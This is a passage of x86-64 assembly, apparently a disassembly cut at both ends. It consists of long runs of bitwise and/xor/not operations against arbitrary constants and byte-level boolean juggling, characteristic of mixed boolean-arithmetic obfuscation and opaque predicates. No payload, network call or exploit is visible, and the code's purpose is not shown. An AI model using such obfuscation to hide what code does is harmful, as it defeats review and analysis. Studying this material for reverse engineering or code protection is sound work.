xor ecx, 0x2792a66b
and ecx, edx
not edx
and edx, 0x66dedd45
and r10d, 0x992122ba
or r10d, edx
mov edx, r10d
xor edx, 0x992122ba
xor ebx, 0xb4a118ea
mov eax, r8d
and eax, 0x2792a66b
mov esi, r10d
xor esi, 0x414c7b2e
and esi, edx
mov r11d, eax
and r11d, edi
xor edi, eax
or edi, r11d
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, edi
not eax
and eax, 0x5058b3b6
and edi, 0xafa74c49
or edi, eax
mov eax, ecx
not eax
and eax, 0x5058b3b6
and ecx, 0xafa74c49
or ecx, eax
xor ecx, edi
xor r10d, 0x66dedd45
mov eax, ebx
and eax, 0xcf08e98a
and r8d, 0x30f71675
or r8d, eax
or ebx, r10d
and r10d, 0xcf08e98a
and edx, 0x30f71675
or edx, r10d
xor edx, r8d
not ebx
or ebx, edx
not ebx
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x6960821
mov eax, ebx
and eax, 0x80605042
or eax, edx
xor eax, 0x80605042
mov edx, ebx
xor edx, 0x86f65863
and edx, ebx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x7909a79c
and edx, 0x86f65863
or edx, eax
mov eax, edx
not eax
and eax, 0xf85fedd2
and edx, 0x7a0122d
or edx, eax
mov eax, edx
xor eax, 0xf85fedd2
and eax, edx
mov edx, edi
and edx, 0x23efa8b5
and ebx, 0xdc10574a
or ebx, edx
xor ebx, 0x244fba98
xor edi, ebx
and edi, ebx
mov edx, eax
not edx
and edx, 0x468cf5a9
mov esi, eax
and esi, 0xb9730a56
or esi, edx
mov r10d, esi
xor r10d, 0xb9730a56
mov r8d, edi
not r8d
xor esi, 0x43bdf375
and esi, r10d
and eax, 0xfacef923
or edi, 0xfacef923
mov ecx, edi
not ecx
mov ebx, r8d
or ebx, 0x53106dc
mov edx, ebx
not edx
mov r11d, esi
and r11d, eax
xor eax, esi
or eax, r11d
and edi, 0x77b62246
and ecx, 0x10498
or ecx, edi
and ebx, 0x77b62246
and edx, 0x8848d921
or edx, ebx
xor edx, ecx
mov ecx, eax
not ecx
and ecx, 0x994556ca
and eax, 0x66baa935
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0x994556ca
and edx, 0x66baa935
or edx, ecx
xor edx, eax
mov eax, r10d
and eax, r8d
xor r8d, r10d
or r8d, eax
mov eax, r8d
not eax
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x924a6bde
and edx, 0x6db59421
or edx, ecx
or ebx, r8d
and r8d, 0x924a6bde
and eax, 0x6db59421
or eax, r8d
xor eax, edx
not ebx
or ebx, eax
mov edx, ebx
not edx
mov eax, edx
and eax, ebx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x896292f8
and ecx, 0x769d6d07
or ecx, eax
mov eax, ecx
xor eax, 0x89600260
xor ecx, 0x4156d00
and ecx, 0x417fd98
and eax, 0xfbe80267
or eax, ecx
mov r8d, eax
xor r8d, 0xfbe80267
xor eax, 0x417fd98
and edx, 0xa58befd0
and ebx, 0x5a74102f
or ebx, edx
mov edi, ebx
xor edi, 0x5a74102f
xor ebx, 0x85838380
and ebx, 0xdfe793a4
mov edx, edi
and edx, 0x20186c5b
or edx, ebx
xor edx, 0x20186c5b
or edx, edi
mov ebx, edx
not ebx
and edx, 0xea7502fd
mov edi, ebx
and edi, 0x158afd02
or edi, edx
mov edx, edi
xor edx, 0x158afd02
mov esi, eax
and esi, 0x4a6f83c7
mov ecx, r8d
and ecx, 0xb5907c38
or ecx, esi
xor edi, 0xea7502fd
mov esi, edx
and esi, 0x4a6f83c7
and ebx, 0xb5907c38
or ebx, esi
mov esi, ecx
not esi
and esi, 0xf2b8223
and ecx, 0xf0d47ddc
or ecx, esi
mov esi, ebx
not esi
and esi, 0xf2b8223
and ebx, 0xf0d47ddc
or ebx, esi
xor ebx, ecx
mov ecx, r8d
and ecx, 0x7d470e0e
and eax, 0x82b8f1f1
or eax, ecx
or r8d, edi
and edi, 0x7d470e0e
and edx, 0x82b8f1f1
or edx, edi
xor edx, eax
not r8d
or r8d, edx
mov ecx, r8d
not ecx
mov eax, ebx
not eax
mov edx, eax
and edx, 0xafa7aa67
and ebx, 0x50585598
or ebx, edx
or eax, r8d
and r8d, 0xafa7aa67
and ecx, 0x50585598
or ecx, r8d
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd7a05459
mov edi, eax
and edi, 0x285faba6
or edi, edx
xor edi, 0x285faba6
mov ebx, edi
xor ebx, ecx
and ebx, edi
mov edx, eax
xor edx, 0x410d09dd
and edx, eax
or eax, 0xbef2f622
mov edi, edx
not edi
mov esi, eax
and esi, 0x69636000
and ecx, 0xc09dd
or ecx, esi
or eax, edi
and edi, 0x69636000
and edx, 0x969c9fff
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x55057253
and eax, 0xaafa8dac
or eax, ecx
mov edx, eax
xor edx, 0x4085886
mov ecx, ebx
xor ecx, 0xd85b8f5
mov r10d, ecx
and ecx, ebx
mov r8d, ebx
not r8d
xor eax, 0xebf78471
mov ebx, eax
and ebx, 0xb8702368
and edx, 0x478fdc97
or edx, ebx
mov ebx, edx
xor ebx, 0x478fdc97
and r10d, r8d
xor edx, 0xb5f59b9d
and edx, ebx
or eax, 0xd85b8f5
mov edi, eax
not edi
mov esi, r10d
and esi, ecx
xor ecx, r10d
or ecx, esi
mov esi, edx
not esi
mov r10d, esi
and r10d, 0x2e144405
and edx, 0xd1ebbbfa
or edx, r10d
or esi, eax
and eax, 0x2e144405
and edi, 0xd06a030a
or edi, eax
xor edi, edx
not esi
or esi, edi
mov eax, ecx
not eax
and eax, 0x73ad5521
and ecx, 0x8c52aade
or ecx, eax
mov eax, esi
not eax
and eax, 0x73ad5521
and esi, 0x8c52aade
or esi, eax
xor esi, ecx
mov eax, r8d
and eax, ebx
xor ebx, r8d
or ebx, eax
mov eax, ebx
not eax
and eax, 0x3ec7f06
and ebx, 0xfc1380f9
or ebx, eax
mov ecx, ebx
xor ecx, 0x90128078
xor ebx, 0x3ec7f06
mov eax, esi
not eax
mov edx, eax
and edx, 0x6c4d6983
and esi, 0x93b2967c
or esi, edx
or eax, ebx
and ebx, 0x6c4d6983
and ecx, 0x93b2967c
or ecx, ebx
xor ecx, esi
not eax
or eax, ecx
mov edi, eax
not edi
mov ebx, eax
mov ecx, eax
xor ecx, 0xce29648b
and ecx, eax
and eax, 0xf00b0c5e
mov esi, edi
and esi, 0xff4f3a1
or esi, eax
xor esi, 0xff4f3a1
or esi, edi
and edi, 0x4080080
and ebx, 0xca21640b
or ebx, edi
xor ebx, 0xca21640b
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xe705f911
and ecx, 0x18fa06ee
or ecx, eax
mov eax, ecx
xor eax, 0x4536045
xor ecx, 0x212c8180
and eax, 0xc537c5f
and ecx, 0xf3ac83a0
or ecx, eax
mov eax, ecx
xor eax, 0xf3ac83a0
xor ecx, 0xc110c5e
mov edx, esi
not edx
mov ebx, eax
xor ebx, esi
and ebx, eax
and ecx, 0xf310f5e
and eax, 0xf0cef0a1
or eax, ecx
and esi, 0xf310f5e
and edx, 0xf0cef0a1
or edx, esi
xor edx, eax
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0x44916c5d
and edx, 0xbb6e93a2
or edx, eax
mov eax, edx
xor eax, 0x1069000
xor edx, 0x4916010
and edx, 0xbef963b2
and eax, 0x41069c4d
or eax, edx
mov ebx, eax
xor ebx, 0xbef963b2
mov r8d, eax
xor r8d, 0x41069c4d
xor eax, 0xce42e95
mov edi, eax
and edi, r8d
and eax, ebx
mov edx, edi
not edx
mov esi, eax
not esi
mov ecx, edx
and ecx, 0xfaf9085c
and edi, 0x506f7a3
or edi, ecx
or edx, esi
and esi, 0xfaf9085c
and eax, 0x506f7a3
or eax, esi
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xb21d4d27
and edx, 0x4de2b2d8
or edx, eax
and ebx, 0x4b1b0dbd
mov eax, r8d
and eax, 0xb4e4f242
or eax, ebx
xor eax, 0xb4e4f242
or eax, r8d
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x849c8004
mov edx, eax
and edx, 0x11623b40
or edx, ecx
xor edx, 0x11623b40
and eax, 0x6a0144bb
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x94270589
and eax, 0x6bd8fa76
or eax, ecx
mov ecx, eax
xor ecx, 0xaa220002
xor eax, 0x1d9becd
mov edx, eax
and edx, 0x5405f5b1
and ecx, 0xabfa0a4e
or ecx, edx
xor ecx, 0xabfa0a4e
or ecx, eax
cmp ecx, 0xffffffff
setne byte [rbp - 0x30]
sete r12b
mov byte [rbp - 0x23], r12b
cmp r9d, 0xa
setl sil
cmp r9d, 9
setg r14b
mov edi, r14d
xor dil, sil
mov r9d, edi
and r9b, sil
mov r15d, r9d
xor r15b, 1
mov eax, r9d
or al, r15b
mov ecx, r15d
or cl, al
xor al, r9b
xor al, 1
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov r8d, edx
xor r8b, 1
mov ecx, edi
xor cl, 1
and dil, cl
mov ebx, ecx
and bl, dil
xor dil, cl
or dil, bl
mov eax, edx
and al, r8b
xor dl, al
xor al, 1
or al, r8b
xor al, 1
or al, dl
mov r11d, eax
xor r11b, 1
mov ecx, edi
xor cl, 1
mov edx, ecx
and dl, dil
xor dl, 1
mov ebx, edi
xor bl, dl
or dl, dil
xor dl, 1
or dl, bl
mov r10d, edx
xor r10b, 1
mov r13d, edx
xor r13b, r10b
and r13b, dl
or cl, dil
mov edi, ecx
xor dil, 1
mov ebx, eax
or bl, r11b
mov r8d, r11d
or r8b, bl
xor bl, al
xor bl, 1
xor r8b, 1
or r8b, bl
mov ebx, r13d
xor bl, cl
and bl, r13b
and cl, r13b
xor r13b, 1
and r13b, dil
or cl, r13b
mov edi, ebx
xor dil, 1
xor bl, cl
xor cl, 1
or cl, dil
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, ecx
or bl, r8b
xor bl, 1
xor cl, r8b
xor cl, 1
and cl, r8b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
and al, r11b
and dl, r10b
mov ebx, r11d
and bl, al
xor al, r11b
or al, bl
mov ebx, r10d
and bl, dl
xor dl, r10b
or dl, bl
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and dl, al
or dl, bl
mov eax, r11d
and al, r10b
xor r10b, r11b
or r10b, al
xor r10b, 1
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
xor cl, r10b
xor cl, 1
mov eax, edx
and al, r10b
xor dl, r10b
or dl, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov r11d, edx
mov cl, byte [rbp - 0x30]
xor r12b, cl
mov ebx, r12d
xor bl, 1
mov edx, ebx
and dl, r12b
xor bl, dl
xor dl, 1
or dl, r12b
and r12b, cl
mov r10d, r12d
not r10b
and r10b, r12b
mov r8d, r10d
and r8b, r12b
xor r10b, r12b
or r10b, r8b
mov eax, r10d
xor al, 1
and r10b, al
mov r8d, r10d
and r8b, al
xor r10b, al
or r10b, r8b
xor dl, 1
or dl, bl
mov byte [rbp - 0x2c], dl
mov ecx, edx
xor cl, 1
mov byte [rbp - 0x2b], cl
mov eax, edx
xor al, r10b
xor r10b, 1
mov edx, r10d
and dl, cl
xor r10b, cl
or r10b, dl
xor r10b, 1
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov ecx, r11d
xor r11b, 1
mov edx, r11d
and dl, cl
mov eax, edx
xor al, 1
and dl, al
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
mov r8d, ecx
xor r8b, al
mov ebx, ecx
mov byte [rbp - 0x34], cl
or bl, al
xor bl, 1
or bl, r8b
xor bl, dl
xor bl, 1
mov edx, eax
and dl, r11b
mov r12d, r11d
or r12b, al
xor al, r11b
mov edi, r11d
mov byte [rbp - 0x38], r11b
or dl, al
mov r8d, ebx
xor r8b, dl
or dl, bl
mov ebx, r10d
xor bl, 1
mov r11d, ebx
xor dl, 1
or dl, r8b
mov ebx, edx
xor bl, 1
xor r12b, 1
or r12b, al
xor r12b, bl
xor bl, cl
or dl, dil
xor dl, 1
or dl, bl
mov eax, edx
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, dl
xor r12b, 1
or r12b, al
and sil, r9b
and r14b, r15b
or r14b, sil
mov edi, r14d
xor dil, 1
and r15b, dil
and r14b, r9b
or r14b, r15b
xor dil, r14b
and dil, r14b
mov ecx, r11d
or cl, r10b
mov eax, ecx
xor al, 1
mov r8d, eax
and r8b, r11b
mov edx, r10d
mov byte [rbp - 0x39], r11b
and dl, r11b
mov r13d, eax
mov ebx, edx
and bl, r10b
mov byte [rbp - 0x3a], bl
xor dl, r10b
mov byte [rbp - 0x29], dl
or al, r10b
mov byte [rbp - 0x2a], al
mov byte [rbp - 0x28], cl
and r10b, cl
or r10b, r8b
mov eax, r11d
or al, cl
xor al, 1
mov ebx, eax
and bl, r10b
xor r10b, al
or r10b, bl
mov eax, r10d
xor al, 1
mov ebx, r10d
xor bl, al
mov r14d, ebx
or bl, al
and al, r10b
xor al, 1
mov ecx, eax
xor cl, r10b
or al, r10b
xor al, 1
or al, cl
and r14b, r10b
xor al, r14b
xor r14b, r10b
xor r14b, 1
xor bl, 1
or bl, r14b
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, eax
xor bl, cl
and cl, al
xor cl, 1
mov r10d, eax
xor r10b, cl
or cl, al
xor cl, 1
or cl, r10b
mov r10d, ecx
xor r10b, 1
and r10b, cl
and bl, al
mov eax, r10d
xor al, 1
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, r10b
or cl, bl
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
or bl, al
xor bl, 1
or bl, al
mov eax, edi
xor al, 1
mov r8d, eax
and r8b, dil
mov r10d, eax
and r10b, r8b
xor r8b, al
or r8b, r10b
mov r10d, r12d
xor r10b, 1
mov edx, r8d
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
mov esi, eax
xor sil, dil
or al, dil
mov r14d, edi
or dil, r10b
xor r14b, r10b
xor r14b, 1
and r14b, r10b
xor r14b, 1
mov r11d, edi
xor r11b, r14b
or r14b, dil
xor r14b, 1
or r14b, r11b
mov r9d, r14d
xor r9b, 1
xor r14b, r12b
xor r14b, 1
or r14b, r9b
xor r12b, r10b
and r12b, r10b
xor cl, 1
or cl, dl
xor cl, r8b
xor al, 1
or al, sil
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
or cl, r12b
xor r12b, 1
or r12b, al
mov eax, ecx
xor al, r12b
or r12b, cl
xor r12b, 1
or r12b, al
mov r8d, r14d
xor r8b, 1
mov r15d, r12d
xor r15b, 1
mov ecx, r8d
xor cl, r14b
and cl, r8b
mov r10d, r15d
or r10b, r12b
mov esi, r15d
or sil, r10b
xor r10b, r12b
mov eax, r15d
and al, r12b
xor al, 1
mov edi, eax
xor dil, r12b
or al, r12b
xor r12b, r8b
or r8b, r14b
mov r9d, r8d
xor r9b, 1
mov edx, r9d
and dl, r8b
mov r11d, edx
and r11b, r9b
xor dl, r9b
or dl, r11b
mov r9d, ecx
xor r9b, 1
and cl, r9b
xor cl, 1
mov r11d, ecx
xor r11b, r9b
or cl, r9b
xor cl, 1
or cl, r11b
mov r11d, edx
xor r11b, 1
and r11b, cl
xor cl, 1
and cl, dl
or cl, r11b
mov edx, r8d
and dl, r9b
xor r9b, r8b
or r9b, dl
mov edx, r9d
xor dl, cl
xor cl, 1
or cl, r9b
xor dl, 1
xor cl, 1
or cl, dl
xor r10b, 1
xor sil, 1
or sil, r10b
mov edx, esi
xor dl, 1
and dl, sil
mov r8d, edx
and r8b, sil
xor dl, sil
or dl, r8b
mov r8d, ecx
xor r8b, 1
and r8b, dl
xor dl, 1
and dl, cl
or dl, r8b
xor al, 1
or al, dil
xor al, r14b
or r15b, r14b
xor r15b, 1
or r15b, r12b
xor r15b, 1
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov eax, r15d
xor al, 1
mov ecx, edx
xor cl, 1
and al, cl
or cl, r15b
and r15b, dl
xor cl, 1
or r15b, al
mov eax, ecx
and al, r15b
xor r15b, cl
mov ecx, ebx
xor cl, 1
or r15b, al
mov r14d, ebx
or r14b, cl
mov eax, ecx
and al, r14b
xor r14b, 1
mov edx, r14d
xor dl, bl
and dl, r14b
and r14b, bl
or r14b, al
mov eax, edx
and al, r14b
xor r14b, dl
or r14b, al
mov r11d, r14d
xor r11b, 1
mov eax, r14d
and al, r11b
xor al, 1
mov edx, r11d
xor dl, al
or al, r11b
xor al, 1
or al, dl
mov r8d, eax
xor r8b, r14b
or r8b, al
and cl, bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov ecx, r8d
xor cl, 1
mov eax, r8d
or al, cl
mov edx, eax
xor dl, 1
mov r9d, eax
and r9b, r8b
and dl, cl
or dl, r9b
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
mov r9d, eax
xor r9b, dl
xor dl, 1
or dl, al
xor r9b, 1
xor dl, 1
or dl, r9b
mov eax, ebx
and bl, cl
xor al, 1
xor dl, al
mov ecx, r8d
xor cl, al
and cl, r8b
and al, r8b
or al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov ebx, eax
xor al, 1
and al, dl
xor dl, 1
and bl, dl
or al, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov r10b, byte [rbp - 0x23]
mov ecx, r10d
mov bl, byte [rbp - 0x2b]
and cl, bl
mov edx, r10d
xor dl, bl
or dl, cl
mov sil, byte [rbp - 0x30]
and bl, sil
mov cl, byte [rbp - 0x2c]
and cl, r10b
or cl, bl
xor dl, 1
xor cl, dl
mov r8d, ecx
xor r8b, 1
and dl, r8b
mov ebx, edx
xor dl, cl
xor bl, 1
or bl, r8b
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, 1
or al, cl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
mov r9d, ebx
xor r9b, 1
mov edx, ebx
or dl, r9b
mov r8d, edx
xor r8b, 1
and r8b, bl
mov eax, r9d
xor al, dl
and al, r9b
and dl, r9b
or dl, r8b
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
or al, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov ebx, esi
and bl, r11b
xor r11b, r10b
mov eax, r10d
and al, r14b
or bl, al
xor bl, 1
or bl, r14b
mov eax, r11d
xor al, 1
mov edx, eax
and dl, r11b
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
xor dl, bl
mov eax, ebx
and al, r11b
xor r11b, bl
or r11b, al
mov eax, edx
xor al, r11b
or r11b, dl
xor r11b, 1
or r11b, al
mov eax, r11d
xor al, 1
mov edx, eax
or dl, r11b
and r11b, dl
xor dl, 1
mov ebx, edx
xor bl, al
and bl, dl
and dl, al
or dl, r11b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r10d, edx
xor r10b, 1
mov r8d, ecx
xor r8b, 1
mov r11d, edx
and r11b, r10b
mov r9d, edx
and r9b, r11b
xor r11b, dl
or r11b, r9b
mov eax, ecx
or al, r8b
mov ebx, eax
xor bl, cl
xor dl, r10b
and dl, r10b
or al, r8b
xor al, 1
xor bl, 1
mov r9d, eax
and r9b, bl
xor bl, al
mov eax, r11d
xor al, 1
or bl, r9b
mov r9d, r11d
or r9b, al
xor dl, 1
mov r10d, r9d
or r10b, dl
xor dl, r9b
xor dl, 1
mov r9d, r10d
xor r9b, dl
or dl, r10b
xor dl, 1
or dl, r9b
xor dl, 1
mov r9d, edx
or r9b, bl
xor r9b, 1
xor dl, bl
xor dl, 1
and dl, bl
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
mov ebx, r8d
xor bl, al
and bl, r8b
and r11b, cl
and al, r8b
or al, r11b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r8d, ebx
and r8b, dl
xor bl, dl
or bl, r8b
mov edx, ebx
and bl, al
mov r8d, ecx
and r8b, al
xor cl, al
xor al, 1
xor dl, 1
and dl, al
or bl, dl
or cl, r8b
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, r15d
xor al, 1
mov r8d, eax
and r8b, r15b
mov edx, eax
and dl, r8b
xor r8b, al
or r8b, dl
mov r9d, r8d
xor r9b, 1
or al, r15b
mov edx, eax
xor dl, 1
mov ebx, r9d
and bl, r8b
and dl, al
mov r10d, r9d
and r10b, bl
xor bl, r9b
or bl, r10b
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
mov r10d, ebx
xor r10b, 1
and r10b, dl
xor dl, 1
and dl, bl
or dl, r10b
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, 1
xor dl, 1
mov r9d, ecx
and r9b, al
mov ebx, r9d
xor bl, 1
mov r10d, ecx
xor r10b, r9b
or bl, al
xor bl, 1
or bl, r10b
xor bl, dl
xor bl, 1
mov r10d, eax
xor r10b, dl
or dl, al
xor dl, 1
or dl, r10b
xor dl, 1
mov r10d, ebx
and r10b, dl
xor dl, bl
or dl, r10b
mov esi, edx
xor sil, 1
and sil, dl
xor sil, 1
mov r10d, edx
xor r10b, sil
or sil, dl
xor sil, 1
or sil, r10b
mov r10d, esi
xor r10b, 1
mov edx, eax
and dl, r9b
xor r9b, al
or r9b, dl
or al, cl
mov edx, eax
xor dl, 1
mov r11d, edx
and r11b, al
mov ecx, r11d
xor cl, 1
or cl, al
mov eax, r9d
xor al, 1
xor r11b, dl
xor cl, 1
or cl, r11b
and al, cl
xor cl, 1
and cl, r9b
or cl, al
mov eax, r9d
xor al, dl
or dl, r9b
xor dl, 1
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
xor cl, r8b
and r8b, cl
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov ebx, ecx
xor bl, 1
mov edx, ebx
or dl, cl
mov eax, ebx
and al, cl
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
xor al, dl
xor al, 1
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
xor dl, 1
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
mov eax, edx
xor al, 1
and dl, al
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
and sil, dl
xor dl, 1
and dl, r10b
or dl, sil
xor bl, r10b
and bl, r10b
xor cl, r10b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, 1
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r8d, ebx
xor r8b, al
xor al, 1
or al, dl
xor al, 1
or al, r8b
xor al, cl
xor al, 1
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov byte [rbp - 0x30], bl
mov cl, byte [rbp - 0x34]
mov r10d, ecx
mov dl, byte [rbp - 0x38]
or r10b, dl
mov eax, edx
and al, r10b
xor r10b, 1
and cl, r10b
or cl, al
mov r12d, edx
xor r12b, r10b
or r10b, dl
mov r11d, r10d
xor r11b, 1
or r12b, r11b
xor r12b, 1
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov cl, byte [rbp - 0x28]
and r13b, cl
mov dl, byte [rbp - 0x29]
or dl, byte [rbp - 0x3a]
xor r13b, 1
mov eax, r13d
xor al, cl
or r13b, cl
xor r13b, 1
or r13b, al
xor r13b, dl
xor r13b, 1
mov dl, byte [rbp - 0x39]
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, r13d
xor al, cl
or cl, r13b
xor cl, 1
or cl, al
mov edx, r12d
xor dl, 1
and r12b, dl
mov eax, edx
and al, r12b
xor r12b, dl
or r12b, al
mov r14d, r12d
xor r14b, 1
mov r9d, r14d
mov esi, ecx
xor sil, 1
mov r8d, ecx
and r8b, sil
mov edi, esi
xor dil, r8b
and sil, r8b
or sil, dil
or r12b, r14b
mov r15d, esi
xor r15b, 1
or sil, r15b
mov r13d, r14d
or r13b, r15b
xor r15b, r14b
mov byte [rbp - 0x34], dl
and r14b, dl
xor r9b, dl
or r9b, r14b
mov edx, r9d
xor dl, 1
mov r14d, r8d
xor r14b, 1
mov byte [rbp - 0x28], cl
or r14b, cl
xor r14b, 1
or r14b, dil
mov ebx, r14d
xor bl, cl
or r14b, cl
xor r14b, 1
or r14b, bl
mov ebx, r9d
and bl, dl
mov edi, r9d
xor dil, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, dil
mov eax, ebx
xor al, 1
or dl, r9b
mov r9d, edx
xor r9b, 1
mov edi, eax
or dil, dl
and r9b, al
and dl, bl
or dl, r9b
xor dil, 1
mov r9d, edi
and r9b, dl
xor dl, dil
or dl, r9b
mov edi, r11d
or dil, r10b
xor dil, r10b
mov r9d, edi
xor r9b, 1
and dil, r10b
mov ecx, edi
and cl, r9b
xor dil, r9b
or dil, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov r9d, edx
xor r9b, cl
or cl, dl
xor cl, 1
or cl, r9b
mov edx, edi
xor dl, 1
and dil, dl
mov r9d, edx
and r9b, dil
xor dil, dl
or dil, r9b
xor dil, cl
mov ecx, r14d
xor cl, 1
and r11b, bl
and al, r10b
or al, r11b
mov r9d, ebx
xor r9b, r10b
or bl, r10b
mov r11b, byte [rbp - 0x2a]
mov r10d, r11d
xor r10b, 1
xor bl, 1
or bl, r9b
xor bl, 1
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
xor bl, dil
and dil, bl
xor dil, 1
mov eax, edi
xor al, bl
or dil, bl
xor dil, 1
or dil, al
mov ebx, r14d
or bl, cl
mov eax, ebx
and al, r14b
xor bl, r14b
or al, bl
xor al, 1
mov r9d, ebx
and r9b, al
xor al, bl
mov ebx, r11d
or bl, r10b
or al, r9b
mov edx, r10d
xor dl, r11b
and dl, r10b
mov r9d, ebx
xor r9b, dl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, r9b
or dl, r9b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
or bl, al
xor al, 1
or al, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
and r11b, cl
or cl, r10b
and r10b, r14b
or r10b, r11b
xor r10b, 1
mov edx, ecx
xor dl, r10b
or r10b, cl
xor r10b, 1
or r10b, dl
mov ecx, r10d
xor cl, 1
mov edx, ecx
and dl, r10b
xor cl, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov r9d, edi
xor r9b, 1
mov eax, r9d
and al, dil
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
or dl, al
xor al, bl
xor al, 1
xor dl, 1
or dl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
and dil, cl
xor cl, 1
and cl, r9b
or cl, dil
xor r9b, cl
and r9b, cl
mov eax, edx
xor al, r9b
xor r9b, 1
or r9b, dl
mov ecx, eax
xor cl, r9b
or r9b, al
xor r9b, 1
or r9b, cl
xor r12b, 1
